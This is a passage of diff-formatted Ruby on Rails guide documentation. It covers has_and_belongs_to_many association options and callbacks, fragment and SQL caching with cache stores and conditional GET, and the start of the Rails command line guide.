+ has_and_belongs_to_many :assemblies, uniq: true,
+ read_only: true
+end
+```
+
+The `has_and_belongs_to_many` association supports these options:
+
+* `:association_foreign_key`
+* `:autosave`
+* `:class_name`
+* `:foreign_key`
+* `:join_table`
+* `:validate`
+
+##### `:association_foreign_key`
+
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix `_id` added. The `:association_foreign_key` option lets you set the name of the foreign key directly:
+
+TIP: The `:foreign_key` and `:association_foreign_key` options are useful when setting up a many-to-many self-join. For example:
+
+```ruby
+class User < ActiveRecord::Base
+ has_and_belongs_to_many :friends,
+ class_name: "User",
+ foreign_key: "this_user_id",
+ association_foreign_key: "other_user_id"
+end
+```
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is `Gadget`, you'd set things up this way:
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, class_name: "Gadget"
+end
+```
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class User < ActiveRecord::Base
+ has_and_belongs_to_many :friends,
+ class_name: "User",
+ foreign_key: "this_user_id",
+ association_foreign_key: "other_user_id"
+end
+```
+
+##### `:join_table`
+
+If the default name of the join table, based on lexical ordering, is not what you want, you can use the `:join_table` option to override the default.
+
+##### `:validate`
+
+If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.
+
+#### Scopes for `has_and_belongs_to_many`
+
+There may be times when you wish to customize the query used by `has_and_belongs_to_many`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, -> { where active: true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `extending`
+* `group`
+* `includes`
+* `limit`
+* `offset`
+* `order`
+* `readonly`
+* `select`
+* `uniq`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,
+ -> { where "factory = 'Seattle'" }
+end
+```
+
+You can also set conditions via a hash:
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,
+ -> { where factory: 'Seattle' }
+end
+```
+
+If you use a hash-style `where`, then record creation via this association will be automatically scoped using the hash. In this case, using `@parts.assemblies.create` or `@parts.assemblies.build` will create orders where the `factory` column has the value "Seattle".
+
+##### `extending`
+
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+
+##### `group`
+
+The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, -> { group "factory" }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used.
+
+##### `limit`
+
+The `limit` method lets you restrict the total number of objects that will be fetched through an association.
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,
+ -> { order("created_at DESC").limit(50) }
+end
+```
+
+##### `offset`
+
+The `offset` method lets you specify the starting offset for fetching objects via an association. For example, if you set `offset(11)`, it will skip the first 11 records.
+
+##### `order`
+
+The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,
+ -> { order "assembly_name ASC" }
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+##### `uniq`
+
+Use the `uniq` method to remove duplicates from the collection.
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_and_belongs_to_many` association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_and_belongs_to_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the `collection.build` method.
+
+### Association Callbacks
+
+Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a `:before_save` callback to cause something to happen just before an object is saved.
+
+Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:
+
+* `before_add`
+* `after_add`
+* `before_remove`
+* `after_remove`
+
+You define association callbacks by adding options to the association declaration. For example:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, before_add: :check_credit_limit
+
+ def check_credit_limit(order)
+ ...
+ end
+end
+```
+
+Rails passes the object being added or removed to the callback.
+
+You can stack callbacks on a single event by passing them as an array:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders,
+ before_add: [:check_credit_limit, :calculate_shipping_charges]
+
+ def check_credit_limit(order)
+ ...
+ end
+
+ def calculate_shipping_charges(order)
+ ...
+ end
+end
+```
+
+If a `before_add` callback throws an exception, the object does not get added to the collection. Similarly, if a `before_remove` callback throws an exception, the object does not get removed from the collection.
+
+### Association Extensions
+
+You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders do
+ def find_by_order_prefix(order_number)
+ find_by_region_id(order_number[0..2])
+ end
+ end
+end
+```
+
+If you have an extension that should be shared by many associations, you can use a named extension module. For example:
+
+```ruby
+module FindRecentExtension
+ def find_recent
+ where("created_at > ?", 5.days.ago)
+ end
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders, -> { extending FindRecentExtension }
+end
+
+class Supplier < ActiveRecord::Base
+ has_many :deliveries, -> { extending FindRecentExtension }
+end
+```
+
+Extensions can refer to the internals of the association proxy using these three attributes of the `proxy_association` accessor:
+
+* `proxy_association.owner` returns the object that the association is a part of.
+* `proxy_association.reflection` returns the reflection object that describes the association.
+* `proxy_association.target` returns the associated object for `belongs_to` or `has_one`, or the collection of associated objects for `has_many` or `has_and_belongs_to_many`.

+Caching with Rails: An overview
+===============================
+
+This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to the web clients in the shortest time possible.
+
+After reading this guide, you will know:
+
+* Page and action caching (moved to separate gems as of Rails 4).
+* Fragment caching.
+* Alternative cache stores.
+* Conditional GET support.
+
+--------------------------------------------------------------------------------
+
+Basic Caching
+-------------
+
+This is an introduction to three types of caching techniques: page, action and
+fragment caching. Rails provides by default fragment caching. In order to use
+page and action caching, you will need to add `actionpack-page_caching` and
+`actionpack-action_caching` to your Gemfile.
+
+To start playing with caching you'll want to ensure that `config.action_controller.perform_caching` is set to `true`, if you're running in development mode. This flag is normally set in the corresponding `config/environments/*.rb` and caching is disabled by default for development and test, and enabled for production.
+
+```ruby
+config.action_controller.perform_caching = true
+```
+
+### Page Caching
+
+Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
+
+INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching)
+
+### Action Caching
+
+Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.
+
+INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching)
+
+### Fragment Caching
+
+Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching.
+
+Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.
+
+As an example, if you wanted to show all the orders placed on your website in real time and didn't want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code:
+
+```html+erb
+<% Order.find_recent.each do |o| %>
+ <%= o.buyer.name %> bought <%= o.product.name %>
+<% end %>
+
+<% cache do %>
+ All available products:
+ <% Product.all.each do |p| %>
+ <%= link_to p.name, product_url(p) %>
+ <% end %>
+<% end %>
+```
+
+The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an `action_suffix` to the cache call:
+
+```html+erb
+<% cache(action: 'recent', action_suffix: 'all_products') do %>
+ All available products:
+```
+
+and you can expire it using the `expire_fragment` method, like so:
+
+```ruby
+expire_fragment(controller: 'products', action: 'recent', action_suffix: 'all_products')
+```
+
+If you don't want the cache block to bind to the action that called it, you can also use globally keyed fragments by calling the `cache` method with a key:
+
+```erb
+<% cache('all_available_products') do %>
+ All available products:
+<% end %>
+```
+
+This fragment is then available to all actions in the `ProductsController` using the key and can be expired the same way:
+
+```ruby
+expire_fragment('all_available_products')
+```
+If you want to avoid expiring the fragment manually, whenever an action updates a product, you can define a helper method:
+
+```ruby
+module ProductsHelper
+ def cache_key_for_products
+ count = Product.count
+ max_updated_at = Product.maximum(:updated_at).try(:utc).try(:to_s, :number)
+ "products/all-#{count}-#{max_updated_at}"
+ end
+end
+```
+
+This method generates a cache key that depends on all products and can be used in the view:
+
+```erb
+<% cache(cache_key_for_products) do %>
+ All available products:
+<% end %>
+```
+You can also use an Active Record model as the cache key:
+
+```erb
+<% Product.all.each do |p| %>
+ <% cache(p) do %>
+ <%= link_to p.name, product_url(p) %>
+ <% end %>
+<% end %>
+```
+
+Behind the scenes, a method called `cache_key` will be invoked on the model and it returns a string like `products/23-20130109142513`. The cache key includes the model name, the id and finally the updated_at timestamp. Thus it will automatically generate a new fragment when the product is updated because the key changes.
+
+You can also combine the two schemes which is called "Russian Doll Caching":
+
+```erb
+<% cache(cache_key_for_products) do %>
+ All available products:
+ <% Product.all.each do |p| %>
+ <% cache(p) do %>
+ <%= link_to p.name, product_url(p) %>
+ <% end %>
+ <% end %>
+<% end %>
+```
+
+It's called "Russian Doll Caching" because it nests multiple fragments. The advantage is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment.
+
+### SQL Caching
+
+Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.
+
+For example:
+
+```ruby
+class ProductsController < ApplicationController
+
+ def index
+ # Run a find query
+ @products = Product.all
+
+ ...
+
+ # Run the same query again
+ @products = Product.all
+ end
+
+end
+```
+
+Cache Stores
+------------
+
+Rails provides different stores for the cached data created by <b>action</b> and <b>fragment</b> caches.
+
+TIP: Page caches are always stored on disk.
+
+### Configuration
+
+You can set up your application's default cache store by calling `config.cache_store=` in the Application definition inside your `config/application.rb` file or in an Application.configure block in an environment specific configuration file (i.e. `config/environments/*.rb`). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor.
+
+```ruby
+config.cache_store = :memory_store
+```
+
+NOTE: Alternatively, you can call `ActionController::Base.cache_store` outside of a configuration block.
+
+You can access the cache by calling `Rails.cache`.
+
+### ActiveSupport::Cache::Store
+
+This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.
+
+The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.
+
+There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.
+
+* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment.
+
+* `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
+
+* `:compress_threshold` - This options is used in conjunction with the `:compress` option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.
+
+* `:expires_in` - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.
+
+* `:race_condition_ttl` - This option is used in conjunction with the `:expires_in` option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the `:expires_in` option.
+
+### ActiveSupport::Cache::MemoryStore
+
+This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the `:size` options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.
+
+```ruby
+config.cache_store = :memory_store, { size: 64.megabytes }
+```
+
+If you're running multiple Ruby on Rails server processes (which is the case if you're using mongrel_cluster or Phusion Passenger), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments, but can work well for small, low traffic sites with only a couple of server processes or for development and test environments.
+
+### ActiveSupport::Cache::FileStore
+
+This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
+
+```ruby
+config.cache_store = :file_store, "/path/to/cache/directory"
+```
+
+With this cache store, multiple server processes on the same host can share a cache. Servers processes running on different hosts could share a cache by using a shared file system, but that set up would not be ideal and is not recommended. The cache store is appropriate for low to medium traffic sites that are served off one or two hosts.
+
+Note that the cache will grow until the disk is full unless you periodically clear out old entries.
+
+This is the default cache store implementation.
+
+### ActiveSupport::Cache::MemCacheStore
+
+This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
+
+When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites.
+
+The `write` and `fetch` methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify `:raw` to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like `increment` and `decrement` only on raw values. You can also specify `:unless_exist` if you don't want memcached to overwrite an existing entry.
+
+```ruby
+config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
+```
+
+### ActiveSupport::Cache::EhcacheStore
+
+If you are using JRuby you can use Terracotta's Ehcache as the cache store for your application. Ehcache is an open source Java cache that also offers an enterprise version with increased scalability, management, and commercial support. You must first install the jruby-ehcache-rails3 gem (version 1.1.0 or later) to use this cache store.
+
+```ruby
+config.cache_store = :ehcache_store
+```
+
+When initializing the cache, you may use the `:ehcache_config` option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache).
+
+In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including:
+
+| Property | Argument Type | Description |
+| --------------------------- | ------------------- | ----------------------------------------------------------- |
+| elementEvictionData | ElementEvictionData | Sets this element's eviction data instance. |
+| eternal | boolean | Sets whether the element is eternal. |
+| timeToIdle, tti | int | Sets time to idle |
+| timeToLive, ttl, expires_in | int | Sets time to Live |
+| version | long | Sets the version attribute of the ElementAttributes object. |
+
+These options are passed to the `write` method as Hash options using either camelCase or underscore notation, as in the following examples:
+
+```ruby
+Rails.cache.write('key', 'value', time_to_idle: 60.seconds, timeToLive: 600.seconds)
+caches_action :index, expires_in: 60.seconds, unless_exist: true
+```
+
+For more information about Ehcache, see [http://ehcache.org/](http://ehcache.org/) .
+For more information about Ehcache for JRuby and Rails, see [http://ehcache.org/documentation/jruby.html](http://ehcache.org/documentation/jruby.html)
+
+### ActiveSupport::Cache::NullStore
+
+This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache`, but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss.
+
+```ruby
+config.cache_store = :null_store
+```
+
+### Custom Cache Stores
+
+You can create your own custom cache store by simply extending `ActiveSupport::Cache::Store` and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application.
+
+To use a custom cache store, simple set the cache store to a new instance of the class.
+
+```ruby
+config.cache_store = MyCacheStore.new
+```
+
+### Cache Keys
+
+The keys used in a cache can be any object that responds to either `:cache_key` or to `:to_param`. You can implement the `:cache_key` method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.
+
+You can use Hashes and Arrays of values as cache keys.
+
+```ruby
+# This is a legal cache key
+Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])
+```
+
+The keys you use on `Rails.cache` will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with `Rails.cache` and then try to pull them out with the `memcache-client` gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.
+
+Conditional GET support
+-----------------------
+
+Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.
+
+They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status.
+
+It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:
+
+```ruby
+class ProductsController < ApplicationController
+
+ def show
+ @product = Product.find(params[:id])
+
+ # If the request is stale according to the given timestamp and etag value
+ # (i.e. it needs to be processed again) then execute this block
+ if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key)
+ respond_to do |wants|
+ # ... normal response processing
+ end
+ end
+
+ # If the request is fresh (i.e. it's not modified) then you don't need to do
+ # anything. The default render checks for this using the parameters
+ # used in the previous call to stale? and will automatically send a
+ # :not_modified. So that's it, you're done.
+ end
+end
+```
+
+Instead of a options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`:
+
+```ruby
+class ProductsController < ApplicationController
+ def show
+ @product = Product.find(params[:id])
+ respond_with(@product) if stale?(@product)
+ end
+end
+```
+
+If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when:
+
+```ruby
+class ProductsController < ApplicationController
+
+ # This will automatically send back a :not_modified if the request is fresh,
+ # and will render the default template (product.*) if it's stale.
+
+ def show
+ @product = Product.find(params[:id])
+ fresh_when last_modified: @product.published_at.utc, etag: @product
+ end
+end
+```

+The Rails Command Line
+======================
+
+Rails comes with every command line tool you'll need to
+
+After reading this guide, you will know:
+
+* How to create a Rails application.
+* How to generate models, controllers, database migrations, and unit tests.
+* How to start a development server.
+* How to experiment with objects through an interactive shell.
+* How to profile and benchmark your new creation.
+
+--------------------------------------------------------------------------------
+
+NOTE: This tutorial assumes you have basic Rails knowledge from reading the [Getting Started with Rails Guide](getting_started.html).
+
+Command Line Basics
+-------------------
+
+There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
+
+* `rails console`
+* `rails server`
+* `rake`
+* `rails generate`
+* `rails dbconsole`
+* `rails new app_name`
+
+Let's create a simple Rails application to step through each of these commands in context.
+
+### `rails new`
+
+The first thing we'll want to do is create a new Rails application by running the `rails new` command after installing Rails.
+
+INFO: You can install the rails gem by typing `gem install rails`, if you don't have it already.
+
+```bash
+$ rails new commandsapp
+ create
+ create README.rdoc
+ create Rakefile
+ create config.ru
+ create .gitignore
+ create Gemfile
+ create app
+ ...
+ create tmp/cache
+ ...
+ run bundle install
+```
+
+Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
+
+### `rails server`
+
+The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
+
+INFO: WEBrick isn't your only option for serving Rails. We'll get to that [later](#server-with-different-backends).
+
+With no further work, `rails server` will run our new shiny Rails app:
+
+```bash
+$ cd commandsapp
+$ rails server
+=> Booting WEBrick
+=> Rails 3.2.3 application starting in development on http://0.0.0.0:3000
+=> Call with -d to detach
+=> Ctrl-C to shutdown server
+[2012-05-28 00:39:41] INFO WEBrick 1.3.1
+[2012-05-28 00:39:41] INFO ruby 1.9.2 (2011-02-18) [x86_64-darwin11.2.0]
+[2012-05-28 00:39:41] INFO WEBrick::HTTPServer#start: pid=69680 port=3000
+```
+
+With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running.
+
+INFO: You can also use the alias "s" to start the server: `rails s`.
+
+The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`.
+
+```bash
+$ rails server -e production -p 4000
+```
+
+The `-b` option binds Rails to the specified IP, by default it is 0.0.0.0. You can run a server as a daemon by passing a `-d` option.
+
+### `rails generate`
+
+The `rails generate` command uses templates to create a whole lot of things. Running `rails generate` by itself gives a list of available generators:
+
+INFO: You can also use the alias "g" to invoke the generator command: `rails g`.
+
+```bash
+$ rails generate
+Usage: rails generate GENERATOR [args] [options]
+
+...
+...
+
+Please choose a generator below.
+
+Rails:
+ assets
+ controller
+ generator
+ ...
+ ...
+```
+
+NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+
+Using generators will save you a large amount of time by writing **boilerplate code**, code that is necessary for the app to work.
+
+Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
+
+INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`.
+
+```bash
+$ rails generate controller
+Usage: rails generate controller NAME [action action] [options]
+
+...
+...
+
+Description:
+ ...
+
+ To create a controller within a module, specify the controller name as a
+ path like 'parent_module/controller_name'.
+
+ ...
+
+Example:
+ `rails generate controller CreditCard open debit credit close`
+
+ Credit card controller with URLs like /credit_card/debit.
+ Controller: app/controllers/credit_card_controller.rb
+ Test: test/controllers/credit_card_controller_test.rb
+ Views: app/views/credit_card/debit.html.erb [...]
+ Helper: app/helpers/credit_card_helper.rb
+```
+
+The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us.
+
+```bash
+$ rails generate controller Greetings hello
+ create app/controllers/greetings_controller.rb
+ route get "greetings/hello"
+ invoke erb
+ create app/views/greetings
+ create app/views/greetings/hello.html.erb
+ invoke test_unit
+ create test/controllers/greetings_controller_test.rb
+ invoke helper
+ create app/helpers/greetings_helper.rb
+ invoke test_unit
+ create test/helpers/greetings_helper_test.rb
+ invoke assets
+ invoke coffee
+ create app/assets/javascripts/greetings.js.coffee
+ invoke scss
+ create app/assets/stylesheets/greetings.css.scss
+```
+
+What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file.
+
+Check out the controller and modify it a little (in `app/controllers/greetings_controller.rb`):
+
+```ruby
+class GreetingsController < ApplicationController
+ def hello
+ @message = "Hello, how are you today?"
+ end
+end
+```
+
+Then the view, to display our message (in `app/views/greetings/hello.html.erb`):
+
+```erb
+<h1>A Greeting for You!</h1>
+<p><%= @message %></p>
+```
+
+Fire up your server using `rails server`.
+
+```bash
+$ rails server
+=> Booting WEBrick...
+```
+
+The URL will be [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello).
+
+INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the **index** action of that controller.
+
+Rails comes with a generator for data models too.
+
+```bash
+$ rails generate model
+Usage:
+ rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
+
+...
+
+ActiveRecord options:
+ [--migration] # Indicates when to generate migration
+ # Default: true
+
+...
+
+Description:
+ Create rails files for model generator.
+```
+
+NOTE: For a list of available field types, refer to the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column) for the column method for the `TableDefinition` class.
+
+But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A **scaffold** in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
+
+We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
+
+```bash
+$ rails generate scaffold HighScore game:string score:integer
+ invoke active_record
+ create db/migrate/20120528060026_create_high_scores.rb
+ create app/models/high_score.rb
+ invoke test_unit
+ create test/models/high_score_test.rb
+ create test/fixtures/high_scores.yml
+ invoke resource_route
+ route resources :high_scores
+ invoke scaffold_controller
+ create app/controllers/high_scores_controller.rb
+ invoke erb
+ create app/views/high_scores
+ create app/views/high_scores/index.html.erb
+ create app/views/high_scores/edit.html.erb
+ create app/views/high_scores/show.html.erb
+ create app/views/high_scores/new.html.erb
+ create app/views/high_scores/_form.html.erb
+ invoke test_unit
+ create test/controllers/high_scores_controller_test.rb
+ invoke helper
+ create app/helpers/high_scores_helper.rb
+ invoke test_unit
+ create test/helpers/high_scores_helper_test.rb
+ invoke assets
+ invoke coffee
+ create app/assets/javascripts/high_scores.js.coffee
+ invoke scss
+ create app/assets/stylesheets/high_scores.css.scss
+ invoke scss
+ create app/assets/stylesheets/scaffolds.css.scss
+```
+
+The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything.
+
+The migration requires that we **migrate**, that is, run some Ruby code (living in that `20120528060026_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
+
+```bash
+$ rake db:migrate
+== CreateHighScores: migrating ===============================================
+-- create_table(:high_scores)
+ -> 0.0017s
+== CreateHighScores: migrated (0.0019s) ======================================
+```
+
+INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
+
+Let's see the interface Rails created for us.
+
+```bash
+$ rails server
+```
+
+Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!)
+
+### `rails console`
+
+The `console` command lets you interact with your Rails application from the command line. On the underside, `rails console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
+
+INFO: You can also use the alias "c" to invoke the console: `rails c`.
+
+You can specify the environment in which the `console` command should operate.
+
+```bash
+$ rails console staging
+```
+
+If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`.
+
+```bash
+$ rails console --sandbox
+Loading development environment in sandbox (Rails 3.2.3)
+Any modifications you make will be rolled back on exit
+irb(main):001:0>
+```
+
+### `rails dbconsole`
+
+`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
+
+INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`.
+
+### `rails runner`
+
+`runner` runs Ruby code in the context of Rails non-interactively. For instance:
+
+```bash
+$ rails runner "Model.long_running_method"
+```
+
+INFO: You can also use the alias "r" to invoke the runner: `rails r`.
+
+You can specify the environment in which the `runner` command should operate using the `-e` switch.
+
+```bash
+$ rails runner -e staging "Model.long_running_method"
+```
+
+### `rails destroy`
+
+Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it.
+
+INFO: You can also use the alias "d" to invoke the destroy command: `rails d`.
+
+```bash
+$ rails generate model Oops
+ invoke active_record
+ create db/migrate/20120528062523_create_oops.rb
+ create app/models/oops.rb
+ invoke test_unit
+ create test/models/oops_test.rb
+ create test/fixtures/oops.yml
+```
+```bash
+$ rails destroy model Oops
+ invoke active_record
+ remove db/migrate/20120528062523_create_oops.rb
+ remove app/models/oops.rb
+ invoke test_unit
+ remove test/models/oops_test.rb
+ remove test/fixtures/oops.yml
+```
+
+Rake
+----
+
+Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and `.rake` files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
+
+You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing `rake --tasks`. Each task has a description, and should help you find the thing you need.
+
+```bash
+$ rake --tasks
+rake about # List versions of all Rails frameworks and the environment
+rake assets:clean # Remove compiled assets
+rake assets:precompile # Compile all the assets named in config.assets.precompile
+rake db:create # Create the database from config/database.yml for the current Rails.env
+...
+rake log:clear # Truncates all *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)
+rake middleware # Prints out your Rack middleware stack
+...
+rake tmp:clear # Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear)
+rake tmp:create # Creates tmp directories for sessions, cache, sockets, and pids
